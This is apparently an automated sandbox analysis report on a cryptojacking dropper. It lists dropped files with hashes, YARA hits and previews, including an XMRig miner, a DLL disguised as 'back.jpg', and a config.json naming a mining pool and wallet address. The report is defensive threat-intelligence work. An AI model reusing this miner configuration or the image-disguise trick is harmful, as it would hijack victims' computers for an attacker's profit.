C:\Users\user\AppData\Local\Temp\_MEI63722\xmrig.exe

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	1905664
Entropy (8bit):	7.9235088812144
Encrypted:	false
SSDEEP:	49152:jeXVwyagUSymDH29F4+rthFTo6YZfnH8:0VKgUSymDH29ttzToX1nc
MD5:	13BDD9CD9F7E51746172996262B5A873
SHA1:	3834F8179ABD7A827E927505F3C226AC8BBCF3EE
SHA-256:	4BF737B29FF521BC263EB1F2C1C5EA04B47470CCCD1BEAE245D98DEF389929BD
SHA-512:	49879918505D042312F20B2FC8310A8C4A58AA266ED1AB05E0481F7E11385DA0920CF9D756F842EB98E4394F14725385B74A99B38FC8A60222FA4CC873CB8040
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Users\user\AppData\Local\Temp\_MEI63722\xmrig.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....\.....................`...0>...Z..@>...[...@..........................`[............... ...................... X.x....][.<.....[..]....................................................Z.....................................................UPX0.....0>.............................UPX1.........@>.....................@....rsrc....`....[..`..................@...3.94.UPX!....E.G...@.`.Z.....$Z.$/.w.......&...'....1.f.=.@9....MZ..,......($..#...th.....82..tJ......$.,./,......+.l..Ho..~B.......:..6....L.=Dc..tm....-<h....f..<2...u..?PEl..u..Q....-l..~?....j..x.......]...........K".v.g?w...k+...yt`,........o..7>,. ..D$...............7......b..0.{..,.~...[U......WV.U.S..\|.0~....+..).b.........@....................5.o.E.....d....x....l0.9..9...3....o._..........=...u...;.v.f...R..0..`.lm...--...I...X/(......9J9..~?.v...&+.. P.kSn.l......LJ...

C:\Users\user\AppData\Local\Temp\_MEI69002\Crypto.Cipher._AES.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	7.553130526678379
Encrypted:	false
SSDEEP:	384:50Q1C9jViLl7hDB6n/PtHU2wr8gj93KqmilaNJawcudoD7U:dC8LU/PBU8itClnbcuyD7U
MD5:	371397E80A55D432DA47311B8EF25317
SHA1:	71617777D6A2500D6464D7B394C8BE5F1E4E119E
SHA-256:	C1A900615C9500C46B9602C30C53F299290B03632208EF1152AF8830AB73AD17
SHA-512:	3139E2848ACF02CC8475449F213873D2C2B7196F6A55C70D2D8F8B487020387740364E5CA0AA584624D1B9B01B965146A2F0E15EEF34830C7C0ECBB8637DAE03
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+\8.J2k.J2k.J2k.Ik.J2k...k.J2k...k.J2k...k.J2k.2.k.J2k.J3k.J2k...k.J2k...k.J2k...k.J2kRich.J2k........PE..L....4.S...........!.....@..........`...................................................................................D...........................................................................8...H...........................................UPX0....................................UPX1.....@.......:..................@...UPX2.................>..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\Include\pyconfig.h

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	C source, ASCII text
Category:	dropped
Size (bytes):	21321
Entropy (8bit):	5.345136937906198
Encrypted:	false
SSDEEP:	384:pGpFpaU1kgCw8r+MIP8Bj5DvVySh3awQBoerw8W+PYV0FGYfN/+:pGpFpb+IU99UShATrw8W+AKF/+
MD5:	BC185DE8B2437963368A85FDD9852951
SHA1:	1459F1428214FCCA7F203FB3A3AFF28E16EB9C1B
SHA-256:	8B130D901E0F83B55699D565F103F2F8F1B3A51712EBB4B9646EA517CC1F04D6
SHA-512:	918469D9A59FE059F3C7C93F34C8D2D07CB8A9BF5E953A1527922ED5C65FF4A2DF50BBC78ED9CE146BF3A1FB6F1763F061262FA4A937BEEEE1FEB8A99E31339E
Malicious:	false
Reputation:	unknown
Preview:	#ifndef Py_CONFIG_H.#define Py_CONFIG_H../* pyconfig.h. NOT Generated automatically by configure...This is a manually maintained version used for the Watcom,.Borland and Microsoft Visual C++ compilers. It is a.standard part of the Python distribution...WINDOWS DEFINES:.The code specific to Windows should be wrapped around one of.the following #defines..MS_WIN64 - Code specific to the MS Win64 API.MS_WIN32 - Code specific to the MS Win32 (and Win64) API (obsolete, this covers all supported APIs).MS_WINDOWS - Code specific to Windows, but all versions..MS_WINCE - Code specific to Windows CE.Py_ENABLE_SHARED - Code if the Python core is built as a DLL...Also note that neither "_M_IX86" or "_MSC_VER" should be used for.any purpose other than "Windows Intel x86 specific" and "Microsoft.compiler specific". Therefore, these should be very rare....NOTE: The following symbols are deprecated:.NT, USE_DL_EXPORT, USE_DL_IMPORT, DL_EXPORT, DL_IMPORT.MS_CORE_DLL...WIN32 is still required for the

C:\Users\user\AppData\Local\Temp\_MEI69002\Microsoft.VC90.CRT.manifest

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	5.382436822526041
Encrypted:	false
SSDEEP:	24:2dtn3mGv+zg4NnEN4XKHVJrMmV6LSWV5rcb3S:ch35+zg4i0KHVVdOmS
MD5:	BFB93876892CCA8E2AD0021585C34C8B
SHA1:	0DDE1B225C98825A09D8FF85F462571C9C862E35
SHA-256:	0D060ED7C25159B7B75F16D449963BFD639C15B3C5280BC7897403268C2B9F35
SHA-512:	FE70540B3B3FA88B32DFB2FF7406A3A9819E7862B850D871B932996BBEFFDBC70D7192D6E3196A8583B2DB756CA9CC278505AFBE585BA30EB1222D4F8BE15B7B
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">.. <noInheritable/>.. <assemblyIdentity name="Microsoft.VC90.CRT" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b" type="win32" version="9.0.30729.6161"/>.. <file hash="7021457b391b35606e708c69987e4b6f606609ee" hashalg="SHA1" name="msvcr90.dll"/>.. <file hash="88549dd3ce8eaa62ca8aad0e96ddd9fec2203628" hashalg="SHA1" name="msvcp90.dll"/>.. <file hash="65ef374affa5b48827e539b35b3275c201b41fc9" hashalg="SHA1" name="msvcm90.dll"/>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">.. <application>.. <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>.. <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>.. <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>.. <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>.. <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>..

C:\Users\user\AppData\Local\Temp\_MEI69002\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	37888
Entropy (8bit):	7.848484052157707
Encrypted:	false
SSDEEP:	768:pAXLisB/qV2nQnf33sWcCRWKZac3VWw6cLA3zReukhRnbcuyD7U:pAnBi8nQf3sYToclt6cLUCRnouy8
MD5:	6CB8B560EFBC381651D2045F1571D7C8
SHA1:	15283A7A467ADB7B6D7A7182F660DD783F90E483
SHA-256:	6456FEA123E04BCEC8A8EED26160E1DF5482E69D187D3E1A0C428995472AC134
SHA-512:	CA2958095E8E08B5EF05EC9DE15B7D1EB180923A40B90356DB56A124101C96D8E745001948B89DBE9D6B9CE3C2029F7E9EAF20C73FA1D410A821D6605830BFC0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................F.....W.....P......@..........Z.....A.....B...Rich..................PE..L...*>CX...........!............. .. ....0................................................@.........................<...........<.......................................................................H...........................................UPX0..... ..............................UPX1.........0......................@...UPX2................................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	351744
Entropy (8bit):	7.996557276168139
Encrypted:	true
SSDEEP:	6144:Xh0byJKrtKOFhjnTtMoy8gpVI/xxWo/nX0NKOzyGFmJ559Vq2SeTsRgIIGYMowwZ:2bymtjF1TtMod/xweDK7FmJ5rLVYTIGm
MD5:	EE134421FBABEB565E4F3CA721331C2E
SHA1:	4B03BDD142C6A7BB6F74ABE968C5B76B63E06059
SHA-256:	7863E1BEDFE1FFC720B67B2EB7B3491DB9D2B8E56B5574E6A40FF90336B8DAFA
SHA-512:	D27FF65B6A8BF2E5E70D2865E72EEE6930E76C2A3990428C54FC998743D3C540C5C984B5D1429E8FFBE3D160AE1F6782CD6D3CA40822F81D2052BA168595D1FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z.$.>.J.>.J.>.J.7...4.J.7...1.J.7...<.J.7...3.J.>.K..J.>.J...J.7...Y.J.7...?.J.7...?.J.Rich>.J.........................PE..L....>CX...........!.....`..........@K.......`...............................p............@.........................pa..L....`..p............................a.......................................W..H...........................................UPX0....................................UPX1.....`.......X..................@...UPX2.........`.......\..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	7.706254752795193
Encrypted:	false
SSDEEP:	384:CCNDRisVUlkycq27U4r0rOc606B8k4gG35aiQjgO6OPjGL2e1ua7aNJawcudoD7P:v7VUcq27Jr0rOmbwE4jGLhohnbcuyD7B
MD5:	BE47363992C7DD90019276D35FA8DA76
SHA1:	CCF7EBBE829DA08EFD95A53D4BA0C0D4938F6169
SHA-256:	BE10254B111713BEF20A13D561DE61CA3C74A34C64DDC5B10825C64AB2C46734
SHA-512:	573F9111535A9A136FCAAA5C1A16C347F7327626768D849513D69C9848406B1002DCC5B8C17A291EF2E6519587533CA806018EE471A39D330F032A9E7E635EA7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......AV2..7\..7\..7\..O..7\..O..7\..O..7\..7]..7\..O..7\..O..7\..O..7\..O..7\.Rich.7\.........................PE..L...X>CX...........!.....P..........0.....................................................@.............................d...................................d...........................................H...........................................UPX0....................................UPX1.....P.......P..................@...UPX2.................T..............@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	498688
Entropy (8bit):	7.996471896707535
Encrypted:	true
SSDEEP:	12288:FHNz5hZdNGitmdIA8byo3k4Ff9m3fTByPf6So+2RON1jjoS:P3fNTtmd2bkof43fTkR2gH
MD5:	68C3AD86E0A8833C29AD1BE10D3C025D
SHA1:	04488362814B2F3AE07C4E8DF8E45868D48B447F
SHA-256:	C236271B92A0F1D3304337F2E2444107F34D8E26272981F48C47DB347133566C
SHA-512:	BB2819D913033CC26DCD1E5CBF015DACDBF747D29C72BFD41BFE0D74BB77E51A61CF9BE4B67B6348938837125F1D0F80AF0AC33531E00CEA1585535952A22785
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........HFu.)(&.)(&.)(&.Q.&.)(&.Q.&.)(&.Q.&.)(&.)(&.)(&.))&9)(&.Q.&.)(&.Q.&.((&.Q.&.)(&.Q.&.)(&Rich.)(&................PE..L...q>CX...........!.................e....................................................@............................D............................................................................q..H...........................................UPX0....................................UPX1................................@...UPX2................................@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\_win32sysloader.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	4.992693298555373
Encrypted:	false
SSDEEP:	192:t2VnGV7o5QUEZWm6Uk3fvf3X7THIL3YO+8I:tVU5QUEz6hfLTH98
MD5:	B4A567D80CCC08FB1C7FBB765847AFDA
SHA1:	B7FF2C68BA2887AAF5D029F41922E626C72B716D
SHA-256:	DBB0F9C499A710BBC8BCDE4ECC3577A6C9548262D6CE4434ED5A0708CBC787DD
SHA-512:	DDFEC25304BABE2DF55958F512F61AFD9AF88DDA499FE87931D17A9EEBF048449885A06A24BDDBC8604E11F07CED3C2ECE7F89C28290CAB5D1BF3816D22128DB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M.oC.............J.............................../........................Rich............PE..L......[...........!......................... ....;..........................`......................................P&..Z...\"..P....@..l....................P....... ..............................8!..@............ ...............................text...`........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...l....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI69002\back.jpg

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	47107
Entropy (8bit):	6.213994198071923
Encrypted:	false
SSDEEP:	768:RDQeAoYo0BrGohy0ZarKZcgRl8+kRGdlS7q3sqqELsLizIdI9e2E:VQJw0BKnuntlkRGAB0ceO
MD5:	C84452F6F4D46DDEC4F8852FA0B1AFD0
SHA1:	CC06C71ABCEFC9B31E3C5ED043427B74A4AD778A
SHA-256:	1DE815D23E82A3A94C42F5E5AC1C5DFC690A585CA495C57D2E4A283AB4008208
SHA-512:	4BB933BB5DED0EB71EBC8ACBC9FF43A2C2EF0DEC87BC85A5E4158A16230C9C1568BF0D555B6E507D2A18ADE52298EF71DF7B9B8BDE0D159609E3FFAE6CCA4E37
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 52%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......]....S......"...8.P....... ...u...0.................................................... .....................................................................................................................................................UPX0..... ..............................UPX1.....P...0...H..................@...UPX2.................J..............@...3.94.UPX!....g.D....bOW...E...0..&../....U..S...........t?........'.........9.r.....t...'.....s.t&...$.....1....$6.].....X[]._V`..u....tG....t$lE_D$.....=..o...."....1......uG.....4....uF1..e.[^]..o.>.f..,.!.+.y..........l...............8./....fp.v..U..$........../...........O/...e..]...l.......#3f.E.f.E......m.._..;.}e.......f.t"............U.1.3-...}..~2.k......!..........7{..+...7..\|...............G.:..S.......... .\|.... ..%+.2..$...e.}......u..,(...l...'lk..dH.&'(ekp.cv/.

C:\Users\user\AppData\Local\Temp\_MEI69002\bz2.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	35840
Entropy (8bit):	7.816957595202127
Encrypted:	false
SSDEEP:	768:IHCeOgq+kCitCVj5rz2Ya+r9qLYp9R9JoWnbcuyD7UiT:IHXr8CBd9NpfXxnouy8
MD5:	C9C00BC854A39E66B27787D188F9E8D7
SHA1:	21F20CF6C628B529DB4BDB853B679F9BF23590E3
SHA-256:	29520DF660A5BBD704B9106A6650A66E4F5766B904D05F97146668D41DBF5839
SHA-512:	8887B5CA542220CAC04D5A6A22A06F95DB560F4FE0F9A128CEB642ED9716ABCFFBA2146CCE682EB16C4DA3F423649A61904A73C4357D9FDBD5DDF606790199A3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.S.9.=K9.=K9.=K..K:.=K0..K:.=K0..K7.=K0..K;.=K0..K>.=K9.<KS.=K0..K1.=K0..K8.=K0..K8.=KRich9.=K................PE..L...?>CX...........!.................W.......p............................................@..........................p..D....p...............................q.......................................c..H...........................................UPX0....................................UPX1................................@...UPX2.........p......................@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\certifi\cacert.pem

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	284518
Entropy (8bit):	6.05114864026174
Encrypted:	false
SSDEEP:	6144:GriCfLXd1YU58fVuKlnm5plZ0PXCRrcMBbADwYC+MslE:GrdT3YZuz5LwCRrcMije
MD5:	DD2DD543395692705F7DDA0F5E7750FA
SHA1:	40D7CE60393978A29FB0E0B1E849658E48CF7887
SHA-256:	397B833E5ACF89A2709B964401A9ACA68D24B62349B72BBE38684E586AA07A27
SHA-512:	3BA0D6AD8B6838B04FBFDEBAD20EB5544C093BA592B517AA383708A34CE2BD215DB2BF010090251674DBCFD4EDA3C44F770C9FBF314304DE918D7E59E2596CF2
Malicious:	false
Reputation:	unknown
Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Users\user\AppData\Local\Temp\_MEI69002\config.json

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	4.312597830652666
Encrypted:	false
SSDEEP:	24:pCKENTHgbeZlE1jCAgFuPBdOgNanAOSWSula:UKuTHgbYlUgFu5drNAla
MD5:	42A60033B0CC3D34577AC729E10AB957
SHA1:	9F9E6AB8F51937754639FAE6B4B172025D5D825E
SHA-256:	5106382075DDAD29ECAA71FB572A03BCEFB586F0B1426BD9DE56B8BF1A82AF57
SHA-512:	42E0771378F46DDDAA02E58384A1077DDB43B738CD7F7A971A6889CB98BD169B6FB33EC5E68234981714A8A9A93C6A83259378573C034C32E87E626727B3CAB1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Users\user\AppData\Local\Temp\_MEI69002\config.json, Author: Joe Security
Reputation:	unknown
Preview:	{. "algo": "cryptonight",. "api": {. "port": 0,. "access-token": null,. "id": null,. "worker-id": null,. "ipv6": false,. "restricted": true. },. "autosave": true,. "av": 0,. "background": true,. "colors": true,. "cpu-affinity": null,. "cpu-priority": null,. "donate-level": 1,. "huge-pages": true,. "hw-aes": null,. "log-file": null,. "max-cpu-usage": 70,. "pools": [. {. "url": "xmr.crypto-pool.fr:3333",. "user": "82njF53q92M2WJXCzMgasqjcLDqU2xSFt7ThkTXNEfwvG1YfJV1cfNBYVPHukzAcKK7g7QHFCoEqTZEYePrM5tmaSRsz4Xq",. "pass": "x",. "rig-id": null,. "nicehash": false,. "keepalive": false,. "variant": -1,. "enabled": true,. "tls": false,. "tls-fingerprint": null. }. ],. "print-time": 60,. "retries": 5,. "retry-pause": 5,. "safe": false,. "threads": [. {.

C:\Users\user\AppData\Local\Temp\_MEI69002\ftpcrack.exe.manifest

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1345
Entropy (8bit):	5.283640732769631
Encrypted:	false
SSDEEP:	24:2dtn3ZoWglN2v+zg4NnEN4XKDmc0+bLg4fNRme5rcb3S:ch3DgX2+zg4i0KDmJ+bLg4VRmemS
MD5:	B5DEA49B86C5BB5D9CD8D64A09F70065
SHA1:	487EF676EBD244EBC3CF197F70DA7A5E393FB96E
SHA-256:	78B1160F6ADAB34D144AD19A0F4B83F83453F1E18460BBDFBE17AD354B62AF7D
SHA-512:	1B5914F4C52F47A33C57F5F6428482E6766099BF43D4E8616CE4AABC4A917C24B2E0C98C841F0D7E7B8A202F40FF960885535539BF70CC7C7ED8687C7ECE010C
Malicious:	true
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">.. <assemblyIdentity name="ftpcrack" processorArchitecture="x86" type="win32" version="1.0.0.0"/>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.VC90.CRT" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b" type="win32" version="9.0.30729.6161"/>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"/>.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity language="*" name="Microsoft.Windows.Common-Controls" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" type="win32" version="6.0.0.0"/>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"/>.. </dependentAssembly>.. </dependency>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">.. <application>.. <supportedOS Id="{1f676c76-80e

C:\Users\user\AppData\Local\Temp\_MEI69002\httplib2\cacerts.txt

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135546
Entropy (8bit):	6.039525643754334
Encrypted:	false
SSDEEP:	3072:FVrovvEjVplrqHSdX+zpfQq7ZiyZOF5mdFENAKHn1HtYfei8i31MCSjfpVpKbIcf:3cmHuBfaUFENX3YfEl3plcs+
MD5:	14BA876BA2515A25BBB511F24BF06653
SHA1:	291DCDEE67E880B21FD7001CB8350C3ECEE4CAC8
SHA-256:	2039836A620F956EC094EAAE7C9B41A04C76F31130898B11014D9E83C905F0DE
SHA-512:	5035F82DF06308A14F6626C54382B3AB34B6D664C8394B48F75275F69DCC2B93266D843B51F0B586E5F12FCD70FE3660B5B08AFC20738DF6D8C812592C0D71E4
Malicious:	false
Reputation:	unknown
Preview:	# Issuer: CN=GTE CyberTrust Global Root O=GTE Corporation OU=GTE CyberTrust Solutions, Inc..# Subject: CN=GTE CyberTrust Global Root O=GTE Corporation OU=GTE CyberTrust Solutions, Inc..# Label: "GTE CyberTrust Global Root".# Serial: 421.# MD5 Fingerprint: ca:3d:d3:68:f1:03:5c:d0:32:fa:b8:2b:59:e8:5a:db.# SHA1 Fingerprint: 97:81:79:50:d8:1c:96:70:cc:34:d8:09:cf:79:44:31:36:7e:f4:74.# SHA256 Fingerprint: a5:31:25:18:8d:21:10:aa:96:4b:02:c7:b7:c6:da:32:03:17:08:94:e5:fb:71:ff:fb:66:67:d5:e6:81:0a:36.-----BEGIN CERTIFICATE-----.MIICWjCCAcMCAgGlMA0GCSqGSIb3DQEBBAUAMHUxCzAJBgNVBAYTAlVTMRgwFgYD.VQQKEw9HVEUgQ29ycG9yYXRpb24xJzAlBgNVBAsTHkdURSBDeWJlclRydXN0IFNv.bHV0aW9ucywgSW5jLjEjMCEGA1UEAxMaR1RFIEN5YmVyVHJ1c3QgR2xvYmFsIFJv.b3QwHhcNOTgwODEzMDAyOTAwWhcNMTgwODEzMjM1OTAwWjB1MQswCQYDVQQGEwJV.UzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQLEx5HVEUgQ3liZXJU.cnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0IEds.b2JhbCBSb290MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCVD6C28FCc6HrH.iM3dFw4usJTQGz0

C:\Users\user\AppData\Local\Temp\_MEI69002\msvcm90.dll

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	225280
Entropy (8bit):	6.034911041879855
Encrypted:	false
SSDEEP:	3072:6yZeocziNzMLSMOYscmLWbAX+dP4Upoh86Goao14JU87/amFYw8fF01OyASLE:PYOMqc8oAXGP4Upoe6fa3/amiX2Oyp
MD5:	D34A527493F39AF4491B3E909DC697CA
SHA1:	AFEE32FCD9CE160680371357A072F58C5F790D48
SHA-256:	7A74DA389FBD10A710C294C2E914DC6F18E05F028F07958A2FA53AC44F0E4B90
SHA-512:	0DABC5455EB02601D7C40A9C49B3ADE750B1118934EF3785FB314FA313437BC02B243571ABA25F1661A69DCEA36838530C12762A2E6602D14A9B03770A82CCA6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;...h...h...h..ah...h1.dh...h..gh...h...h...h.-.h...h...h...h..qh...h..vh...h..`h...h..fh...h..ch...hRich...h........................PE..L.....M...........!.....:..........Z........P....?x.........................0......^.....@......................... 3..4....&..d...............................d...P...............................H...@...............(...........p...H............text...T9.......:.................. ..`.data........P.......>..............@....rsrc................H..............@..@.reloc...#.......$...L..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI69002\msvcp90.dll

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	335184
Entropy (8bit):	6.343962999919931
Encrypted:	false
SSDEEP:	6144:fmIIPLSg4p0t4271NWoSYEMS6VhUgiW6QR7t5183Ooc8SHkC2eQ:fmIeLSgo0S271QoSQhUgiW6QR7t51831
MD5:	92EA2DB0E788894C43753C550216A886
SHA1:	DA8C7A178BA0CA80D321666F5642A7436B640602
SHA-256:	9694756F43B20ABC50F95646C54E9E36CD6EDF8EED3DB846064567399F4E7566
SHA-512:	90E72A68C7267E8D0986A75247AE7B2339E4C2A981D686342B2EF90B1FCF9695B558D0BD5932F7C53524E02CC664B974BA76783FDE919B24EB36795DB3300BA6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........#%..Mv..Mv..Mv.66v..Mv...v..Mv..Lv:.Mv...v..Mv...v..Mv...v..Mv...v..Mv...v..Mv...v..Mv...v..MvRich..Mv........................PE..L.....M...........!................P.... ...0....Hx.........................0............@.........................p4..,....3.......0.......................&......................................()..H...........................................UPX0....................................UPX1......... ......................@....rsrc........0......................@..............................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\msvcr90.dll

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	250192
Entropy (8bit):	7.900323441964523
Encrypted:	false
SSDEEP:	6144:EODM4c99eLswEOva4g4fpgMf4FfIoSNjbZdGJCJLuEyKIqqOmiqsEqmQI0wye/c:EODM1HagYaMf4FAoSNjHmHyyc
MD5:	199D34B03C7D0EB804A6D9869184B8D4
SHA1:	03148854519D0970C1BBDC089D3E8DE1AED61C47
SHA-256:	DF86421E354F817607F2BAFC9188569242FCF9DD564B28F3E2915C86A0BA1F54
SHA-512:	E4269CA993393422A90231DAABD390771A635EEB0817A9D00DCCEF496372BB4B57B615529F26A2E8132BDE825CDACA07D965D207421C02EA6471DA214354361E
Malicious:	true
